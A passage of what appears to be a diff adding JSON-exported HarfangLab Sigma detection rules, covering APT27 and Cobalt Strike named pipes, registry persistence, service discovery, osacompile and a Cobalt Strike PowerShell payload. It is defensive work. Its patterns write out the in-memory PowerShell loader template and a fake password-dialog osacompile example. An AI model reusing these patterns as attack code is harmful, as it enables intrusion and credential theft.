+  ],
+  "name": "t1106_apt27_named_pipe_connection.yml",
+  "content": "title: Suspicious APT27 Related Named Pipe Connected\nid: 0d4ebd0c-1c3f-4c6b-8c60-121639f8b842\ndescription: |\n    Detects the creation or connection of/to a Named Pipe named \"testPipe\".\n    The name is related to the APT27 threat, more specifically their HyperBro malware.\n    It is recommended to verify that this is a legitimate developer pipe.\nreferences:\n    - https://www.intrinsec.com/apt27-analysis/\n    - https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html\n    - https://attack.mitre.org/techniques/T1106/\ndate: 2022/10/26\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1106\n    - attack.t1559\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.ThreatActor.APT27\n    - classification.Windows.Malware.HyperBro\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    product: windows\n    category: named_pipe_connection\ndetection:\n    selection:\n        PipeName: '\\testPipe'\n\n    exclusion_hellodoc:\n        ProcessImage|endswith:\n            - '\\IMAGINE Editions\\HelloDoc\\HelloDoc.exe'\n            - '\\imagine editions\\hellodoc\\HelloDoc Acces Vidal.exe'\n        ProcessSigned: 'true'\n\n    condition: selection and not 1 of exclusion_*\nfalsepositives:\n    - Legitimate developer creation of a named pipe called \"testPipe\"\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0d4ebd0c-1c3f-4c6b-8c60-121639f8b842",
+  "rule_name": "Suspicious APT27 Related Named Pipe Connected",
+  "rule_description": "Detects the creation or connection of/to a Named Pipe named \"testPipe\".\nThe name is related to the APT27 threat, more specifically their HyperBro malware.\nIt is recommended to verify that this is a legitimate developer pipe.\n",
+  "rule_creation_date": "2022-10-26",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1106",
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0d51dffe-a29c-4bbf-a33a-b2308e77bfda",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085080Z",
+  "creation_date": "2026-03-23T11:45:34.085082Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085086Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/persistence-info/persistence-info.github.io/blob/main/Data/recyclebin.md",
+    "https://www.hexacorn.com/blog/2018/05/28/beyond-good-ol-run-key-part-78-2/",
+    "https://attack.mitre.org/techniques/T1546/015/"
+  ],
+  "name": "t1546_015_recycle_bin_persistence.yml",
+  "content": "title: Recycle Bin COM Object Modified\nid: 0d51dffe-a29c-4bbf-a33a-b2308e77bfda\ndescription: |\n    Detects the creation of the subkey \"\\shell\\open\\command\" under the Recycle Bin ClassID in the registry.\n    The Windows Registry uses ClassID subkeys to define shell actions for system folders and objects. The Recycle Bin has a specific ClassID ({645FF040-5081-101B-9F08-00AA002F954E}) that can be modified with a \"\\shell\\open\\command\" subkey to override the default open action.\n    When this subkey is created or modified under the Recycle Bin's ClassID, it redirects the default open action to execute a custom command.\n    Attackers exploit this mechanism to achieve persistence by ensuring their malicious code runs whenever a user attempts to access the Recycle Bin through Windows Explorer or other file management operations.\n    It is recommended to verify whether the registry modification is legitimate and analyze the command specified in the modified registry key to determine if it points to malicious executables or scripts.\nreferences:\n    - https://github.com/persistence-info/persistence-info.github.io/blob/main/Data/recyclebin.md\n    - https://www.hexacorn.com/blog/2018/05/28/beyond-good-ol-run-key-part-78-2/\n    - https://attack.mitre.org/techniques/T1546/015/\ndate: 2025/04/24\nmodified: 2025/10/02\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.t1546.015\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'CreateKey'\n        TargetObject|endswith: '\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell\\open\\command'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0d51dffe-a29c-4bbf-a33a-b2308e77bfda",
+  "rule_name": "Recycle Bin COM Object Modified",
+  "rule_description": "Detects the creation of the subkey \"\\shell\\open\\command\" under the Recycle Bin ClassID in the registry.\nThe Windows Registry uses ClassID subkeys to define shell actions for system folders and objects. The Recycle Bin has a specific ClassID ({645FF040-5081-101B-9F08-00AA002F954E}) that can be modified with a \"\\shell\\open\\command\" subkey to override the default open action.\nWhen this subkey is created or modified under the Recycle Bin's ClassID, it redirects the default open action to execute a custom command.\nAttackers exploit this mechanism to achieve persistence by ensuring their malicious code runs whenever a user attempts to access the Recycle Bin through Windows Explorer or other file management operations.\nIt is recommended to verify whether the registry modification is legitimate and analyze the command specified in the modified registry key to determine if it points to malicious executables or scripts.\n",
+  "rule_creation_date": "2025-04-24",
+  "rule_modified_date": "2025-10-02",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1546.015"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0d55020f-bbfc-470c-addf-f5feb6e37098",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.609954Z",
+  "creation_date": "2026-03-23T11:45:34.609967Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.609975Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment",
+    "https://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "t1068_registry_unprivileged_user_modifying_service_registry_config.yml",
+  "content": "title: Service Registry Configuration Modified by an Unprivileged User\nid: 0d55020f-bbfc-470c-addf-f5feb6e37098\ndescription: |\n    Detects a service registry configuration modification by an unprivileged user.\n    Attackers can use registry permission weaknesses to perform privilege escalation by modifying a privileged service configuration in the registry.\n    It is recommended to investigate the modified registry key to look for paths pointing to malicious content.\nreferences:\n    - https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment\n    - https://attack.mitre.org/techniques/T1068/\ndate: 2022/09/07\nmodified: 2025/02/11\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1068\n    - attack.persistence\n    - attack.t1574.011\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.ConfigChange\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        ProcessIntegrityLevel:\n            - 'Low'\n            - 'Medium'\n        TargetObject:\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\\\*\\ImagePath'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\\\*\\FailureCommand'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\\\*\\ServiceDll'\n\n    exclusion_novell:\n        # \\??\\C:\\Program Files\\Novell\\Client\\XTier\\Drivers\\nccache.sys\n        Details|contains: ':\\Program Files\\Novell\\Client\\XTier\\Drivers\\'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0d55020f-bbfc-470c-addf-f5feb6e37098",
+  "rule_name": "Service Registry Configuration Modified by an Unprivileged User",
+  "rule_description": "Detects a service registry configuration modification by an unprivileged user.\nAttackers can use registry permission weaknesses to perform privilege escalation by modifying a privileged service configuration in the registry.\nIt is recommended to investigate the modified registry key to look for paths pointing to malicious content.\n",
+  "rule_creation_date": "2022-09-07",
+  "rule_modified_date": "2025-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068",
+    "attack.t1574.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0d5af151-1912-4b7d-aa38-cacd25e43f67",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.296528Z",
+  "creation_date": "2026-03-23T11:45:35.296531Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296535Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1007/"
+  ],
+  "name": "t1007_net_start.yml",
+  "content": "title: System Service Discovered via net.exe\nid: 0d5af151-1912-4b7d-aa38-cacd25e43f67\ndescription: |\n    Detects the execution of net1.exe with start option.\n    Adversaries can use this command during discovery phase to enumerate started system services.\n    It is recommended to investigate the parent process to look for malicious content or other malicious actions.\nreferences:\n    - https://attack.mitre.org/techniques/T1007/\ndate: 2022/11/14\nmodified: 2026/02/20\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1007\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\net1.exe'\n        # Renamed binaries\n        - OriginalFileName: 'net1.exe'\n\n    selection_commandline:\n        CommandLine|endswith: ' start'\n        CurrentDirectory|startswith:\n            - '?:\\windows\\'\n            - '?:\\ProgramData\\'\n            - '?:\\PerfLogs\\'\n            - '?:\\temp\\'\n            - '?:\\users\\'\n            - '?:\\\\?Recycle.Bin\\'\n\n    exclusion_programfiles:\n        - GrandparentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        - Ancestors|startswith:\n            - '?:\\Windows\\System32\\net.exe|?:\\Windows\\System32\\cmd.exe|?:\\Program Files\\'\n            - '?:\\Windows\\System32\\net.exe|?:\\Windows\\System32\\cmd.exe|?:\\Program Files (x86)\\'\n\n    exclusion_incotec:\n        # https://www.incotec-software.com/\n        - CurrentDirectory|contains: '\\Incotec\\Exec\\Bin'\n        - Ancestors|contains: '|?:\\Incotec\\UNIX\\bin\\sh.exe|'\n\n    exclusion_syracuse:\n        - CurrentDirectory|endswith: '\\syracuse\\agent\\'\n        - Ancestors|endswith: '\\syracuse\\agent\\Agent.exe|?:\\Windows\\System32\\services.exe|?:\\Windows\\System32\\wininit.exe'\n\n    exclusion_egurkha:\n        CommandLine: '?:\\Windows\\system32\\net1 start'\n        Ancestors|startswith: '?:\\Windows\\System32\\net.exe|?:\\Windows\\System32\\cmd.exe|?:\\Program Files\\eGurkha\\JRE\\bin\\java.exe|'\n\n    exclusion_scripts:\n        GrandparentCommandLine:\n            - '?:\\Windows\\SYSTEM32\\cmd.exe /c ?:\\\\*.bat'\n            - '?:\\Windows\\SYSTEM32\\cmd.exe /c ?:\\\\*.cmd'\n        Ancestors:\n            - '?:\\Windows\\System32\\net.exe|?:\\Windows\\System32\\cmd.exe|?:\\Windows\\System32\\svchost.exe|?:\\Windows\\System32\\services.exe|?:\\Windows\\System32\\wininit.exe'\n            - '?:\\Windows\\System32\\net.exe|?:\\Windows\\System32\\cmd.exe|?:\\Windows\\System32\\taskeng.exe|?:\\Windows\\System32\\svchost.exe|?:\\Windows\\System32\\services.exe|?:\\Windows\\System32\\wininit.exe'\n\n    exclusion_oracle:\n        GrandparentCommandLine:\n            - 'cmd.exe /x/d/c net start | find oracle /i'\n            - 'cmd.exe /x/d/c net start | find oracleservice /i'\n        Ancestors|contains: '|?:\\Perl64\\bin\\perl.exe|?:\\Windows\\System32\\cmd.exe|'\n\n    exclusion_datto:\n        Ancestors: '?:\\Windows\\System32\\net.exe|?:\\Windows\\System32\\cmd.exe|?:\\Program Files (x86)\\CentraStage\\CagService.exe|?:\\Windows\\System32\\services.exe|?:\\Windows\\System32\\wininit.exe'\n\n    exclusion_hexaflux:\n        GrandparentCommandLine: '?:\\Windows\\system32\\cmd.exe /d /s /c net start | findstr Hexaflux'\n        Ancestors|endswith: '\\hexaflux\\admin\\\\*|?:\\Windows\\System32\\services.exe|?:\\Windows\\System32\\wininit.exe'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '|?:\\Program Files (x86)\\SAM\\RollCallSuite\\RollProxyConfigurator.exe|'\n            - '|?:\\Program Files\\Dell\\SysMgt\\cm\\invcol\\invCol.exe|'\n            - '|?:\\eGurkha\\JRE\\bin\\java.exe|'\n\n    exclusion_ccmcache:\n        CurrentDirectory|startswith: '?:\\Windows\\ccmcache\\'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0d5af151-1912-4b7d-aa38-cacd25e43f67",
+  "rule_name": "System Service Discovered via net.exe",
+  "rule_description": "Detects the execution of net1.exe with start option.\nAdversaries can use this command during discovery phase to enumerate started system services.\nIt is recommended to investigate the parent process to look for malicious content or other malicious actions.\n",
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2026-02-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1007"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0e0dad90-5301-41c4-a880-808713de6f5d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618007Z",
+  "creation_date": "2026-03-23T11:45:34.618009Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618014Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/pl_pl/research/21/d/xcsset-quickly-adapts-to-macos-11-and-m1-based-macs.html",
+    "https://attack.mitre.org/techniques/T1059/002/"
+  ],
+  "name": "t1059_002_osacompile_execution.yml",
+  "content": "title: Apple Script Compiled via Osacompile\nid: 0e0dad90-5301-41c4-a880-808713de6f5d\ndescription: |\n    Detects the execution of osacompile to compile an Apple Script.\n    This could be used by an attacker to hide malicious behaviour under a compiled app bundle (ADHOC code signed).\n    It is recommended to investigate the program that triggered the compilation and what was compiled to determine whether this action was legitimate.\nreferences:\n    - https://www.trendmicro.com/pl_pl/research/21/d/xcsset-quickly-adapts-to-macos-11-and-m1-based-macs.html\n    - https://attack.mitre.org/techniques/T1059/002/\ndate: 2022/11/14\nmodified: 2025/01/20\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1569.002\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Script.Osascript\n    - classification.macOS.LOLBin.Osacompile\n    - classification.macOS.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    # osacompile -e 'display dialog \"Password\" default answer \"\" with icon note buttons {\"Cancel\", \"Continue\"} default button \"Continue\"' -o MaliciousApp.app\n    selection:\n        Image: '/usr/bin/osacompile'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0e0dad90-5301-41c4-a880-808713de6f5d",
+  "rule_name": "Apple Script Compiled via Osacompile",
+  "rule_description": "Detects the execution of osacompile to compile an Apple Script.\nThis could be used by an attacker to hide malicious behaviour under a compiled app bundle (ADHOC code signed).\nIt is recommended to investigate the program that triggered the compilation and what was compiled to determine whether this action was legitimate.\n",
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2025-01-20",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1569.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0e0fd26d-b447-4686-acd2-ce93cce97b88",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091588Z",
+  "creation_date": "2026-03-23T11:45:34.091590Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091595Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://gchq.github.io/CyberChef/",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "t1059_001_cobalt_powershell_compress.yml",
+  "content": "title: Cobalt Strike PowerShell Compressed Payload Detected\nid: 0e0fd26d-b447-4686-acd2-ce93cce97b88\ndescription: |\n    Detects the execution of a Cobalt Strike standard compressed payload template via PowerShell.\n    The goal of the payload is to create a connection to the team server to allow an attacker to interact with the machine.\n    It is recommended to isolate the machine and identify how the script was executed on the host. Tools like CyberChef can be used to decode this payload.\nreferences:\n    - https://gchq.github.io/CyberChef/\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/software/S0154/\ndate: 2021/11/22\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.s0154\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Framework.CobaltStrike\n    - classification.Windows.Behavior.MemoryExecution\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand: '$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(\"*\"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0e0fd26d-b447-4686-acd2-ce93cce97b88",
+  "rule_name": "Cobalt Strike PowerShell Compressed Payload Detected",
+  "rule_description": "Detects the execution of a Cobalt Strike standard compressed payload template via PowerShell.\nThe goal of the payload is to create a connection to the team server to allow an attacker to interact with the machine.\nIt is recommended to isolate the machine and identify how the script was executed on the host. Tools like CyberChef can be used to decode this payload.\n",
+  "rule_creation_date": "2021-11-22",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0e12c12e-bea2-428e-ad86-734dcc2aff20",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073062Z",
+  "creation_date": "2026-03-23T11:45:34.073064Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073069Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cobaltstrike.com/blog/learn-pipe-fitting-for-all-of-your-offense-projects/",
+    "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575",
+    "https://www.vanimpe.eu/2021/09/12/cobalt-strike-hunting-key-items-to-look-for/",
+    "https://medium.com/falconforce/falconfriday-suspicious-named-pipe-events-0xff1b-fe475d7ebd8",
+    "https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752",
+    "https://github.com/threatexpress/random_c2_profile/blob/main/core/functions.py",
+    "https://attack.mitre.org/techniques/T1021/002/"
+  ],
+  "name": "t1021_002_custom_cobaltstrike_named_pipes_created.yml",
+  "content": "title: Custom CobaltStrike Named Pipe Created\nid: 0e12c12e-bea2-428e-ad86-734dcc2aff20\ndescription: |\n    Detects the creation of a Named Pipe pertaining to the CobaltStrike framework.\n    These are custom CobaltStrike Named Pipe as seen in previous attacks.\n    CobaltStrike uses Named Pipes mainly to follow its deployment status and to self-replicate using SMB.\n    It is recommended to investigate the process that created the named pipe to determine its legitimacy.\nreferences:\n    - https://www.cobaltstrike.com/blog/learn-pipe-fitting-for-all-of-your-offense-projects/\n    - https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575\n    - https://www.vanimpe.eu/2021/09/12/cobalt-strike-hunting-key-items-to-look-for/\n    - https://medium.com/falconforce/falconfriday-suspicious-named-pipe-events-0xff1b-fe475d7ebd8\n    - https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752\n    - https://github.com/threatexpress/random_c2_profile/blob/main/core/functions.py\n    - https://attack.mitre.org/techniques/T1021/002/\ndate: 2022/07/08\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.002\n    - attack.execution\n    - attack.t1559\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.Framework.CobaltStrike\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    product: windows\n    category: named_pipe_creation\ndetection:\n    selection:\n        PipeName:\n            - '\\mojo.5688.8052.183894939787088877*'\n            - '\\mojo.5688.8052.35780273329370473*'\n            - '\\scerpc_*'\n            - '\\win_svc*'\n            - '\\demoagent_11*'\n            - '\\demoagent_22*'\n            - '\\Winsock2\\CatalogChangeListener-*-0,'\n            - '\\wkssvc_??'\n            - '\\ntsvcs??'\n            - '\\DserNamePipe??'\n            - '\\PGMessagePipe??'\n            - '\\SearchTextHarvester??'\n            - '\\mypipe-f??'\n            - '\\mypipe-h??'\n            - '\\windows.update.manager??'\n            - '\\windows.update.manager???'\n            - '\\MsFteWds??'\n            - '\\f4c3??'\n            - '\\f53f??'\n            - '\\fullduplex_??'\n            - '\\msrpc_????'\n            - '\\win\\msrpc_??'\n            - '\\rpc_??'\n            - '\\spoolss_??'\n            # https://github.com/threatexpress/random_c2_profile/blob/main/core/functions.py\n            - '\\ProtectionManager_????_??'\n            - '\\ProtectionManager_??'\n            - '\\Winsock2\\\\CatalogChangeListener-???????-1'\n            - '\\Winsock2\\\\CatalogChangeListener-??-??'\n            - '\\Spool\\\\pipe_????_??'\n            - '\\Spool\\\\pipe_??'\n            - '\\WkSvcPipeMgr_??????'\n            - '\\WkSvcPipeMgr_??'\n            - '\\NetClient_??????'\n            - '\\NetClient_??'\n            - '\\RPC_??????'\n            - '\\WiFiNetMgr????_??'\n            - '\\WiFiNetMgr_??'\n            - '\\AuthPipeD_??'\n\n    exclusion_trendmicro:\n        PipeName:\n            - '\\f4c3??'\n            - '\\f53f??'\n        ProcessImage:\n            - '?:\\Program Files\\Trend Micro\\\\*'\n            - '?:\\Program Files (x86)\\Trend Micro\\\\*'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Trend Micro, Inc.'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\n# level: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0e12c12e-bea2-428e-ad86-734dcc2aff20",
+  "rule_name": "Custom CobaltStrike Named Pipe Created",
+  "rule_description": "Detects the creation of a Named Pipe pertaining to the CobaltStrike framework.\nThese are custom CobaltStrike Named Pipe as seen in previous attacks.\nCobaltStrike uses Named Pipes mainly to follow its deployment status and to self-replicate using SMB.\nIt is recommended to investigate the process that created the named pipe to determine its legitimacy.\n",
+  "rule_creation_date": "2022-07-08",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.002",
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0e2c06ef-3fca-4f1b-8f83-5b01fc0f4dcb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
